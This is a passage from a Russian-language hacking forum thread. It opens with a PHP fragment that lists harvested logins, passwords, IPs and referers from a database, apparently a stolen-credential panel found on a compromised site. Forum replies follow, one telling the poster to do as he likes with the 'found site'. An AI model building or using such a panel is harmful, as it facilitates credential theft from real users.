    for($i=0;$i<$n;$i++) echo "<tr><td>".'<input name=sn type=checkbox value='.mysql_result($result,$i,id).'>&nbsp;<b style="color: 00ff00;">Login:</b>',mysql_result($result,$i,login),"</td><td>".'<b style="color: 00ff00;">Pass:</b>',mysql_result($result,$i,pass),"</td><td>".'<b style="color: 00ff00;">IP:</b>',mysql_result($result,$i,ip),"</td><td>".'<b style="color: 00ff00;">Date:</b>',mysql_result($result,$i,date),"</td><td>".'<b style="color: 00ff00;">id:</b>',mysql_result($result,$i,id),"</td><td>".'<b style="color: 00ff00;">referer:</b>',mysql_result($result,$i,ref),"</b></td></tr>";
    echo "<tr><td><input name=submit type=submit value=delete&gt;&gt;></td></tr>";
    echo "</table></form>";

    mysql_close($link);
    printFooter();
    }
     
  17. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    они в БД лежат а не в папке
     
  18. ерёма

    ерёма New Member

    Joined:
    20 Mar 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    полная версия
     
    #21998 ерёма, 21 Mar 2013
    Last edited: 21 Mar 2013
  19. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    собственно нафига ты это всё сюда павыкладывал?? ты спрашивал что с найденыйм сайтом делать? - ответ что хочешь то делай, к данной теме это не имеет никакого отношения
     
  20. ерёма

    ерёма New Member

    Joined:
    20 Mar 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Извиняюсь конечно что не в тот топик начал писать. Просто с мобилки изначально юзал форум и не очень удобно было искать подходящую тему.Вот и написал сюда, мне показалось что этот топик более подходит.С сайтом мне понятно что делать. Просто я с шелами особо не сталкивался вот по этому и попросил разьяснить по чему в нём оказалась бд, для чего она там?И вообще это часто встречается что в шелл вписывают бд других сайтов? И шелл ли это???
     
    #22000 ерёма, 21 Mar 2013
    Last edited: 21 Mar 2013
Thread Status:
Not open for further replies.